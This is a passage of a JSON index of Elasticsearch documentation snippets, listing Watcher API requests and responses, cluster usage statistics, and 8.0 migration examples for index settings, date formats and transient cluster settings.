0\n },\n \"cli\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 0\n },\n \"canvas\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 0\n },\n \"odbc\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 0\n },\n \"jdbc\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 0\n },\n \"odbc32\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 0\n },\n \"odbc64\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 0\n },\n \"_all\" : {\n \"total\" : 0,\n \"paging\" : 0,\n \"failed\" : 0\n },\n \"translate\" : {\n \"count\" : 0\n }\n }\n },\n \"rollup\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"ilm\" : {\n \"policy_count\" : 3,\n \"policy_stats\" : [\n ...\n ]\n },\n \"slm\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"ccr\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"follower_indices_count\" : 0,\n \"auto_follow_patterns_count\" : 0\n },\n \"transform\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"voting_only\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"searchable_snapshots\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"indices_count\" : 0,\n \"full_copy_indices_count\" : 0,\n \"shared_cache_indices_count\" : 0\n },\n \"frozen_indices\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"indices_count\" : 0\n },\n \"spatial\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"analytics\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"stats\": {\n \"boxplot_usage\" : 0,\n \"top_metrics_usage\" : 0,\n \"normalize_usage\" : 0,\n \"cumulative_cardinality_usage\" : 0,\n \"t_test_usage\" : 0,\n \"rate_usage\" : 0,\n \"string_stats_usage\" : 0,\n \"moving_percentiles_usage\" : 0,\n \"multi_terms_usage\" : 0\n }\n },\n \"data_streams\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"data_streams\" : 0,\n \"indices_count\" : 0\n },\n \"data_lifecycle\" : {\n \"available\": true,\n \"enabled\": true,\n \"count\": 0,\n \"default_rollover_used\": true,\n \"retention\": {\n \"minimum_millis\": 0,\n \"maximum_millis\": 0,\n \"average_millis\": 0.0\n }\n },\n \"data_tiers\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"data_warm\" : {\n \"node_count\" : 0,\n \"index_count\" : 0,\n \"total_shard_count\" : 0,\n \"primary_shard_count\" : 0,\n \"doc_count\" : 0,\n \"total_size_bytes\" : 0,\n \"primary_size_bytes\" : 0,\n \"primary_shard_size_avg_bytes\" : 0,\n \"primary_shard_size_median_bytes\" : 0,\n \"primary_shard_size_mad_bytes\" : 0\n },\n \"data_frozen\" : {\n \"node_count\" : 1,\n \"index_count\" : 0,\n \"total_shard_count\" : 0,\n \"primary_shard_count\" : 0,\n \"doc_count\" : 0,\n \"total_size_bytes\" : 0,\n \"primary_size_bytes\" : 0,\n \"primary_shard_size_avg_bytes\" : 0,\n \"primary_shard_size_median_bytes\" : 0,\n \"primary_shard_size_mad_bytes\" : 0\n },\n \"data_cold\" : {\n \"node_count\" : 0,\n \"index_count\" : 0,\n \"total_shard_count\" : 0,\n \"primary_shard_count\" : 0,\n \"doc_count\" : 0,\n \"total_size_bytes\" : 0,\n \"primary_size_bytes\" : 0,\n \"primary_shard_size_avg_bytes\" : 0,\n \"primary_shard_size_median_bytes\" : 0,\n \"primary_shard_size_mad_bytes\" : 0\n },\n \"data_content\" : {\n \"node_count\" : 0,\n \"index_count\" : 0,\n \"total_shard_count\" : 0,\n \"primary_shard_count\" : 0,\n \"doc_count\" : 0,\n \"total_size_bytes\" : 0,\n \"primary_size_bytes\" : 0,\n \"primary_shard_size_avg_bytes\" : 0,\n \"primary_shard_size_median_bytes\" : 0,\n \"primary_shard_size_mad_bytes\" : 0\n },\n \"data_hot\" : {\n \"node_count\" : 0,\n \"index_count\" : 0,\n \"total_shard_count\" : 0,\n \"primary_shard_count\" : 0,\n \"doc_count\" : 0,\n \"total_size_bytes\" : 0,\n \"primary_size_bytes\" : 0,\n \"primary_shard_size_avg_bytes\" : 0,\n \"primary_shard_size_median_bytes\" : 0,\n \"primary_shard_size_mad_bytes\" : 0\n }\n },\n \"aggregate_metric\" : {\n \"available\" : true,\n \"enabled\" : true\n },\n \"archive\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"indices_count\" : 0\n },\n \"health_api\" : {\n \"available\" : true,\n \"enabled\" : true,\n \"invocations\": {\n \"total\": 0\n }\n },\n \"remote_clusters\": {\n \"size\": 0,\n \"mode\": {\n \"proxy\": 0,\n \"sniff\": 0\n },\n \"security\": {\n \"cert\": 0,\n \"api_key\": 0\n }\n },\n \"enterprise_search\" : {\n \"available\": true,\n \"enabled\": true,\n \"search_applications\" : {\n \"count\": 0\n },\n \"analytics_collections\": {\n \"count\": 0\n },\n \"query_rulesets\": {\n \"total_rule_count\": 0,\n \"total_count\": 0,\n \"min_rule_count\": 0,\n \"max_rule_count\": 0\n }\n },\n \"universal_profiling\" : {\n \"available\" : true,\n \"enabled\" : true\n }\n}"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":62},"digest":"9116ee8a5b00cc877291ed5559563f24","lang":"console","found":[],"source":"PUT _watcher/watch/my_watch\n{\n \"trigger\" : {\n \"schedule\" : {\n \"yearly\" : { \"in\" : \"february\", \"on\" : 29, \"at\" : \"noon\" }\n }\n },\n \"input\": {\n \"simple\": {\n \"payload\": {\n \"send\": \"yes\"\n }\n }\n },\n \"condition\": {\n \"always\": {}\n },\n \"actions\": {\n \"test_index\": {\n \"throttle_period\": \"15m\",\n \"index\": {\n \"index\": \"test\"\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":96},"digest":"e827a9040e137410d62d10bb3b3cbb71","lang":"console","found":[],"source":"GET _watcher/watch/my_watch"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":103},"digest":"e2d293db79f536e0cd31d3a6871a2642","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"_version\": 1,\n \"_id\": \"my_watch\",\n \"status\": {\n \"version\": 1,\n \"actions\": {\n \"test_index\": {\n \"ack\": {\n \"timestamp\": \"2015-05-26T18:04:27.723Z\",\n \"state\": \"awaits_successful_execution\"\n }\n }\n },\n \"state\": ...\n },\n \"watch\": ...\n}"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":134},"digest":"bdc1afd2181154bb78797360f9dbb1a0","lang":"console","found":[],"source":"POST _watcher/watch/my_watch/_execute\n{\n \"record_execution\" : true\n}\n\nGET _watcher/watch/my_watch"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":147},"digest":"97c12a82b244e88ca1b3b3c707401b96","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_id\": \"my_watch\",\n \"_seq_no\": 1,\n \"_primary_term\": 1,\n \"_version\": 2,\n \"status\": {\n \"version\": 2,\n \"actions\": {\n \"test_index\": {\n \"ack\": {\n \"timestamp\": \"2015-05-26T18:04:27.723Z\",\n \"state\": \"ackable\"\n },\n \"last_execution\" : {\n \"timestamp\": \"2015-05-25T18:04:27.723Z\",\n \"successful\": true\n },\n \"last_successful_execution\" : {\n \"timestamp\": \"2015-05-25T18:04:27.723Z\",\n \"successful\": true\n }\n }\n },\n \"state\": ...,\n \"execution_state\": \"executed\",\n \"last_checked\": ...,\n \"last_met_condition\": ...\n },\n \"watch\": ...\n}"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":190},"digest":"1b0dc9d076bbb58c6a2953ef4323d2fc","lang":"console","found":[],"source":"PUT _watcher/watch/my_watch/_ack/test_index\nGET _watcher/watch/my_watch"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":197},"digest":"1cfe00b731a1fdf0b2add0688c43a1c2","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_id\": \"my_watch\",\n \"_seq_no\": 2,\n \"_primary_term\": 1,\n \"_version\": 3,\n \"status\": {\n \"version\": 3,\n \"actions\": {\n \"test_index\": {\n \"ack\": {\n \"timestamp\": \"2015-05-26T18:04:27.723Z\",\n \"state\": \"acked\"\n },\n \"last_execution\" : {\n \"timestamp\": \"2015-05-25T18:04:27.723Z\",\n \"successful\": true\n },\n \"last_successful_execution\" : {\n \"timestamp\": \"2015-05-25T18:04:27.723Z\",\n \"successful\": true\n }\n }\n },\n \"state\": ...,\n \"execution_state\": \"executed\",\n \"last_checked\": ...,\n \"last_met_condition\": ...\n },\n \"watch\": ...\n}"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":245},"digest":"8051766cadded0892290bc2cc06e145c","lang":"console","found":[],"source":"POST _watcher/watch/my_watch/_ack/action1,action2"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":253},"digest":"df7dbac966b67404b8bfa9cdda5ef480","lang":"console","found":[],"source":"POST _watcher/watch/my_watch/_ack"}, {"source_location":{"file":"rest-api/watcher/ack-watch.asciidoc","line":262},"digest":"545a911f3f261e048a8affc77fa29a5d","lang":"console-result","found":[],"source":"{\n \"status\": {\n \"state\": {\n \"active\": true,\n \"timestamp\": \"2015-05-26T18:04:27.723Z\"\n },\n \"last_checked\": \"2015-05-26T18:04:27.753Z\",\n \"last_met_condition\": \"2015-05-26T18:04:27.763Z\",\n \"actions\": {\n \"test_index\": {\n \"ack\" : {\n \"timestamp\": \"2015-05-26T18:04:27.713Z\",\n \"state\": \"acked\"\n },\n \"last_execution\" : {\n \"timestamp\": \"2015-05-25T18:04:27.733Z\",\n \"successful\": true\n },\n \"last_successful_execution\" : {\n \"timestamp\": \"2015-05-25T18:04:27.773Z\",\n \"successful\": true\n }\n }\n },\n \"execution_state\": \"executed\",\n \"version\": 2\n }\n}\n"}, {"source_location":{"file":"rest-api/watcher/activate-watch.asciidoc","line":50},"digest":"e827a9040e137410d62d10bb3b3cbb71","lang":"console","found":[],"source":"GET _watcher/watch/my_watch"}, {"source_location":{"file":"rest-api/watcher/activate-watch.asciidoc","line":56},"digest":"6ab4f67649c21d637ec8a0ce72fd0d7c","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_id\": \"my_watch\",\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"_version\": 1,\n \"status\": {\n \"state\" : {\n \"active\" : false,\n \"timestamp\" : \"2015-08-20T12:21:32.734Z\"\n },\n \"actions\": ...,\n \"version\": 1\n },\n \"watch\": ...\n}"}, {"source_location":{"file":"rest-api/watcher/activate-watch.asciidoc","line":82},"digest":"3477a89d869b1f7f72d50c2ca86c4679","lang":"console","found":[],"source":"PUT _watcher/watch/my_watch/_activate"}, {"source_location":{"file":"rest-api/watcher/activate-watch.asciidoc","line":90},"digest":"67f8c67c5dce82121a87f60160071133","lang":"console-result","found":[],"source":"{\n \"status\": {\n \"state\" : {\n \"active\" : true,\n \"timestamp\" : \"2015-09-04T08:39:46.816Z\"\n },\n \"actions\": ...,\n \"version\": 1\n }\n}"}, {"source_location":{"file":"rest-api/watcher/deactivate-watch.asciidoc","line":50},"digest":"e827a9040e137410d62d10bb3b3cbb71","lang":"console","found":[],"source":"GET _watcher/watch/my_watch"}, {"source_location":{"file":"rest-api/watcher/deactivate-watch.asciidoc","line":56},"digest":"c924b17f4d746145e67e12ddcc126a6f","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_id\": \"my_watch\",\n \"_version\": 1,\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"status\": {\n \"state\" : {\n \"active\" : true,\n \"timestamp\" : \"2015-08-20T12:21:32.734Z\"\n },\n \"actions\": ...,\n \"version\": 1\n },\n \"watch\": ...\n}"}, {"source_location":{"file":"rest-api/watcher/deactivate-watch.asciidoc","line":82},"digest":"f63f6343e74bd5c844854272e746de14","lang":"console","found":[],"source":"PUT _watcher/watch/my_watch/_deactivate"}, {"source_location":{"file":"rest-api/watcher/deactivate-watch.asciidoc","line":90},"digest":"6a25b3650607fe28bab83484ddf9a98c","lang":"console-result","found":[],"source":"{\n \"status\": {\n \"state\" : {\n \"active\" : false,\n \"timestamp\" : \"2015-09-04T08:39:46.816Z\"\n },\n \"actions\": ...,\n \"version\": 1\n }\n}"}, {"source_location":{"file":"rest-api/watcher/delete-watch.asciidoc","line":60},"digest":"2aa548b692fc2fe7b6f0d90eb8b2ae29","lang":"console","found":["ruby"],"source":"DELETE _watcher/watch/my_watch"}, {"source_location":{"file":"rest-api/watcher/delete-watch.asciidoc","line":68},"digest":"83597138e92b7b938bddf80b550eeed9","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_id\": \"my_watch\",\n \"_version\": 2\n}"}, {"source_location":{"file":"rest-api/watcher/execute-watch.asciidoc","line":147},"digest":"01dc7bdc223bd651574ed2d3954a5b1c","lang":"console","found":[],"source":"POST _watcher/watch/my_watch/_execute"}, {"source_location":{"file":"rest-api/watcher/execute-watch.asciidoc","line":155},"digest":"f6eff830fb0fad200ebfb1e3e46f6f0e","lang":"console","found":[],"source":"POST _watcher/watch/my_watch/_execute\n{\n \"trigger_data\" : { <1>\n \"triggered_time\" : \"now\",\n \"scheduled_time\" : \"now\"\n },\n \"alternative_input\" : { <2>\n \"foo\" : \"bar\"\n },\n \"ignore_condition\" : true, <3>\n \"action_modes\" : {\n \"my-action\" : \"force_simulate\" <4>\n },\n \"record_execution\" : true <5>\n}"}, {"source_location":{"file":"rest-api/watcher/execute-watch.asciidoc","line":188},"digest":"09ef6a65db6a67fbe3a41f066009641e","lang":"console-result","found":[],"source":"{\n \"_id\": \"my_watch_0-2015-06-02T23:17:55.124Z\", <1>\n \"watch_record\": { <2>\n \"@timestamp\": \"2015-06-02T23:17:55.124Z\",\n \"watch_id\": \"my_watch\",\n \"node\": \"my_node\",\n \"messages\": [],\n \"trigger_event\": {\n \"type\": \"manual\",\n \"triggered_time\": \"2015-06-02T23:17:55.124Z\",\n \"manual\": {\n \"schedule\": {\n \"scheduled_time\": \"2015-06-02T23:17:55.124Z\"\n }\n }\n },\n \"state\": \"executed\",\n \"status\": {\n \"version\": 1,\n \"execution_state\": \"executed\",\n \"state\": {\n \"active\": true,\n \"timestamp\": \"2015-06-02T23:17:55.111Z\"\n },\n \"last_checked\": \"2015-06-02T23:17:55.124Z\",\n \"last_met_condition\": \"2015-06-02T23:17:55.124Z\",\n \"actions\": {\n \"test_index\": {\n \"ack\": {\n \"timestamp\": \"2015-06-02T23:17:55.124Z\",\n \"state\": \"ackable\"\n },\n \"last_execution\": {\n \"timestamp\": \"2015-06-02T23:17:55.124Z\",\n \"successful\": true\n },\n \"last_successful_execution\": {\n \"timestamp\": \"2015-06-02T23:17:55.124Z\",\n \"successful\": true\n }\n }\n }\n },\n \"input\": {\n \"simple\": {\n \"payload\": {\n \"send\": \"yes\"\n }\n }\n },\n \"condition\": {\n \"always\": {}\n },\n \"result\": { <3>\n \"execution_time\": \"2015-06-02T23:17:55.124Z\",\n \"execution_duration\": 12608,\n \"input\": {\n \"type\": \"simple\",\n \"payload\": {\n \"foo\": \"bar\"\n },\n \"status\": \"success\"\n },\n \"condition\": {\n \"type\": \"always\",\n \"met\": true,\n \"status\": \"success\"\n },\n \"actions\": [\n {\n \"id\": \"test_index\",\n \"index\": {\n \"response\": {\n \"index\": \"test\",\n \"version\": 1,\n \"created\": true,\n \"result\": \"created\",\n \"id\": \"AVSHKzPa9zx62AzUzFXY\"\n }\n },\n \"status\": \"success\",\n \"type\": \"index\"\n }\n ]\n },\n \"user\": \"test_admin\" <4>\n }\n}"}, {"source_location":{"file":"rest-api/watcher/execute-watch.asciidoc","line":299},"digest":"7f37031fb40b68a61255b7c71d7eed0b","lang":"console","found":[],"source":"POST _watcher/watch/my_watch/_execute\n{\n \"action_modes\" : {\n \"action1\" : \"force_simulate\",\n \"action2\" : \"skip\"\n }\n}"}, {"source_location":{"file":"rest-api/watcher/execute-watch.asciidoc","line":314},"digest":"9cf6c7012a4f2bb562bc256aa28c3409","lang":"console","found":[],"source":"POST _watcher/watch/my_watch/_execute\n{\n \"action_modes\" : {\n \"_all\" : \"force_execute\"\n }\n}"}, {"source_location":{"file":"rest-api/watcher/execute-watch.asciidoc","line":327},"digest":"9cd37d0ccbc66ad47ddb626564b27cc8","lang":"console","found":[],"source":"POST _watcher/watch/_execute\n{\n \"watch\" : {\n \"trigger\" : { \"schedule\" : { \"interval\" : \"10s\" } },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : [ \"logs\" ],\n \"body\" : {\n \"query\" : {\n \"match\" : { \"message\": \"error\" }\n }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 0 }}\n },\n \"actions\" : {\n \"log_error\" : {\n \"logging\" : {\n \"text\" : \"Found {{ctx.payload.hits.total}} errors in the logs\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/watcher/execute-watch.asciidoc","line":363},"digest":"10b924bf6298aa6157ed00ce12f8edc1","lang":"console","found":[],"source":"POST _watcher/watch/_execute\n{\n \"ignore_condition\" : true,\n \"watch\" : {\n \"trigger\" : { \"schedule\" : { \"interval\" : \"10s\" } },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : [ \"logs\" ],\n \"body\" : {\n \"query\" : {\n \"match\" : { \"message\": \"error\" }\n }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 0 }}\n },\n \"actions\" : {\n \"log_error\" : {\n \"logging\" : {\n \"text\" : \"Found {{ctx.payload.hits.total}} errors in the logs\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/watcher/get-watch.asciidoc","line":49},"digest":"e827a9040e137410d62d10bb3b3cbb71","lang":"console","found":[],"source":"GET _watcher/watch/my_watch"}, {"source_location":{"file":"rest-api/watcher/get-watch.asciidoc","line":57},"digest":"b27af4671721924c2e449cf6f1e73158","lang":"console-result","found":[],"source":"{\n \"found\": true,\n \"_id\": \"my_watch\",\n \"_seq_no\": 0,\n \"_primary_term\": 1,\n \"_version\": 1,\n \"status\": { <1>\n \"version\": 1,\n \"state\": {\n \"active\": true,\n \"timestamp\": \"2015-05-26T18:21:08.630Z\"\n },\n \"actions\": {\n \"test_index\": {\n \"ack\": {\n \"timestamp\": \"2015-05-26T18:21:08.630Z\",\n \"state\": \"awaits_successful_execution\"\n }\n }\n }\n },\n \"watch\": {\n \"input\": {\n \"simple\": {\n \"payload\": {\n \"send\": \"yes\"\n }\n }\n },\n \"condition\": {\n \"always\": {}\n },\n \"trigger\": {\n \"schedule\": {\n \"hourly\": {\n \"minute\": [0, 5]\n }\n }\n },\n \"actions\": {\n \"test_index\": {\n \"index\": {\n \"index\": \"test\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/watcher/stats.asciidoc","line":84},"digest":"17266cee5eaaddf08e5534bf580a1910","lang":"console","found":["ruby"],"source":"GET _watcher/stats"}, {"source_location":{"file":"rest-api/watcher/stats.asciidoc","line":112},"digest":"3ed79871d956bfb2d6d2721d7272520c","lang":"console","found":["ruby"],"source":"GET _watcher/stats?metric=current_watches"}, {"source_location":{"file":"rest-api/watcher/stats.asciidoc","line":119},"digest":"56b6b50b174a935d368301ebd717231d","lang":"console","found":["ruby"],"source":"GET _watcher/stats/current_watches"}, {"source_location":{"file":"rest-api/watcher/stats.asciidoc","line":163},"digest":"6244204213f60edf2f23295f9059f2c9","lang":"console","found":["ruby"],"source":"GET _watcher/stats/queued_watches"}, {"source_location":{"file":"rest-api/watcher/query-watches.asciidoc","line":67},"digest":"ce8471d31e5d60309e142feb040fd2f8","lang":"console","found":[],"source":"GET /_watcher/_query/watches"}, {"source_location":{"file":"rest-api/watcher/query-watches.asciidoc","line":75},"digest":"24ebcb1b5f3e32123e8575d61e3764b6","lang":"console-result","found":[],"source":"{\n \"count\": 1,\n \"watches\": [\n {\n \"_id\": \"my_watch\",\n \"watch\": {\n \"trigger\": {\n \"schedule\": {\n \"hourly\": {\n \"minute\": [\n 0,\n 5\n ]\n }\n }\n },\n \"input\": {\n \"simple\": {\n \"payload\": {\n \"send\": \"yes\"\n }\n }\n },\n \"condition\": {\n \"always\": {}\n },\n \"actions\": {\n \"test_index\": {\n \"index\": {\n \"index\": \"test\"\n }\n }\n }\n },\n \"status\": {\n \"state\": {\n \"active\": true,\n \"timestamp\": \"2015-05-26T18:21:08.630Z\"\n },\n \"actions\": {\n \"test_index\": {\n \"ack\": {\n \"timestamp\": \"2015-05-26T18:21:08.630Z\",\n \"state\": \"awaits_successful_execution\"\n }\n }\n },\n \"version\": -1\n },\n \"_seq_no\": 0,\n \"_primary_term\": 1\n }\n ]\n}"}, {"source_location":{"file":"rest-api/watcher/put-watch.asciidoc","line":120},"digest":"3a12feb0de224bfaaf518d95b9f516ff","lang":"console","found":[],"source":"PUT _watcher/watch/my-watch\n{\n \"trigger\" : {\n \"schedule\" : { \"cron\" : \"0 0/1 * * * ?\" }\n },\n \"input\" : {\n \"search\" : {\n \"request\" : {\n \"indices\" : [\n \"logstash*\"\n ],\n \"body\" : {\n \"query\" : {\n \"bool\" : {\n \"must\" : {\n \"match\": {\n \"response\": 404\n }\n },\n \"filter\" : {\n \"range\": {\n \"@timestamp\": {\n \"from\": \"{{ctx.trigger.scheduled_time}}||-5m\",\n \"to\": \"{{ctx.trigger.triggered_time}}\"\n }\n }\n }\n }\n }\n }\n }\n }\n },\n \"condition\" : {\n \"compare\" : { \"ctx.payload.hits.total\" : { \"gt\" : 0 }}\n },\n \"actions\" : {\n \"email_admin\" : {\n \"email\" : {\n \"to\" : \"admin@domain.host.com\",\n \"subject\" : \"404 recently encountered\"\n }\n }\n }\n}"}, {"source_location":{"file":"rest-api/watcher/update-settings.asciidoc","line":16},"digest":"f96d8131e8a592fbf6dfd686173940a9","lang":"console","found":[],"source":"PUT /_watcher/watch/test_watch\n{\n \"trigger\": {\n \"schedule\": {\n \"hourly\": {\n \"minute\": [ 0, 5 ]\n }\n }\n },\n \"input\": {\n \"simple\": {\n \"payload\": {\n \"send\": \"yes\"\n }\n }\n },\n \"condition\": {\n \"always\": {}\n }\n}"}, {"source_location":{"file":"rest-api/watcher/update-settings.asciidoc","line":41},"digest":"a1f70bc71b763b58206814c40a7440e7","lang":"console","found":["ruby"],"source":"PUT /_watcher/settings\n{\n \"index.auto_expand_replicas\": \"0-4\"\n}"}, {"source_location":{"file":"rest-api/watcher/get-settings.asciidoc","line":16},"digest":"3d316bddd8503a6cc10566630a4155d3","lang":"console","found":["ruby"],"source":"GET /_watcher/settings"}, {"source_location":{"file":"rest-api/watcher/start.asciidoc","line":45},"digest":"97ea5ab17213cb1faaf6f3ea13607098","lang":"console","found":["ruby"],"source":"POST _watcher/_start"}, {"source_location":{"file":"rest-api/watcher/start.asciidoc","line":52},"digest":"647803854da1f06200d471a2937e105c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"rest-api/watcher/stop.asciidoc","line":45},"digest":"6b1336ff477f91d4a0db0b06db546ff0","lang":"console","found":["ruby"],"source":"POST _watcher/_stop"}, {"source_location":{"file":"rest-api/watcher/stop.asciidoc","line":52},"digest":"647803854da1f06200d471a2937e105c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"migration/migrate_8_0/index-setting-changes.asciidoc","line":48},"digest":"2f67db5e4d6c958258c3d70fb2d0b1c8","lang":"console","found":["ruby"],"source":"PUT my-index-000001/_settings\n{\n \"index.merge.policy.max_merge_at_once_explicit\": null\n}"}, {"source_location":{"file":"migration/migrate_8_0/migrate_to_java_time.asciidoc","line":239},"digest":"2f2fd35905feef0b561c05d70c7064c1","lang":"console","found":["ruby"],"source":"GET my-index-000001/_mapping"}, {"source_location":{"file":"migration/migrate_8_0/migrate_to_java_time.asciidoc","line":245},"digest":"419f12dfb8b5558f0084b97c5a992227","lang":"console-result","found":[],"source":"{\n \"my-index-000001\" : {\n \"mappings\" : {\n \"properties\" : {\n \"datetime\": {\n \"type\": \"date\",\n \"format\": \"yyyy/MM/dd HH:mm:ss||yyyy/MM/dd||epoch_millis\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"migration/migrate_8_0/migrate_to_java_time.asciidoc","line":268},"digest":"18de6782bd18f4a9baec2feec8c02a8b","lang":"console","found":["ruby"],"source":"PUT my-index-000002\n{\n \"mappings\": {\n \"properties\": {\n \"datetime\": {\n \"type\": \"date\",\n \"format\": \"uuuu/MM/dd HH:mm:ss||uuuu/MM/dd||epoch_millis\"\n }\n }\n }\n}"}, {"source_location":{"file":"migration/migrate_8_0/migrate_to_java_time.asciidoc","line":289},"digest":"67154a4837cf996a9a9c3e61d6e9d1b3","lang":"console","found":["ruby"],"source":"POST _reindex\n{\n \"source\": {\n \"index\": \"my-index-000001\"\n },\n \"dest\": {\n \"index\": \"my-index-000002\"\n }\n}"}, {"source_location":{"file":"migration/migrate_8_0/migrate_to_java_time.asciidoc","line":305},"digest":"7a32f44a1511ecb0d3f0b0ff2aca5c44","lang":"console","found":[],"source":"POST /_aliases\n{\n \"actions\" : [\n { \"remove\" : { \"index\" : \"my-index-000001\", \"alias\" : \"my-index\" } },\n { \"add\" : { \"index\" : \"my-index-000002\", \"alias\" : \"my-index\" } }\n ]\n}"}, {"source_location":{"file":"migration/transient-settings-migration-guide.asciidoc","line":38},"digest":"d01a590fa9ea8a0cb34ed8dda502296c","lang":"console","found":["ruby"],"source":"GET _cluster/settings?flat_settings=true&filter_path=transient"}, {"source_location":{"file":"migration/transient-settings-migration-guide.asciidoc","line":48},"digest":"77eb47f501e224b68879a6d00eec03cc","lang":"console-result","found":[],"source":"{\n \"persistent\": { ... },\n \"transient\": {\n \"cluster.indices.close.enable\": \"false\",\n \"indices.recovery.max_bytes_per_sec\": \"50mb\"\n }\n}"}, {"source_location":{"file":"migration/transient-settings-migration-guide.asciidoc","line":64},"digest":"2bb41b0b4876ce98cd0cd8fb6d337f18","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster.indices.close.enable\": false,\n \"indices.recovery.max_bytes_per_sec\": \"50mb\"\n },\n \"transient\": {\n \"*\": null\n }\n}"}, {"source_location":{"file":"migration/transient-settings-migration-guide.asciidoc","line":82},"digest":"4dab4c5168047ba596af1beb0e55b845","lang":"console","found":["ruby"],"source":"GET _cluster/settings?flat_settings=true"}, {"source_location":{"file":"migration/transient-settings-migration-guide.asciidoc","line":90},"digest":"2ed98be3424f9822f476f92cee85cae9","lang":"console-result","found":[],"source":"{\n \"persistent\": {\n \"cluster.indices.close.enable\": \"false\",\n \"indices.recovery.max_bytes_per_sec\": \"50mb\",\n ...\n },\n \"transient\": {\n }\n}"}]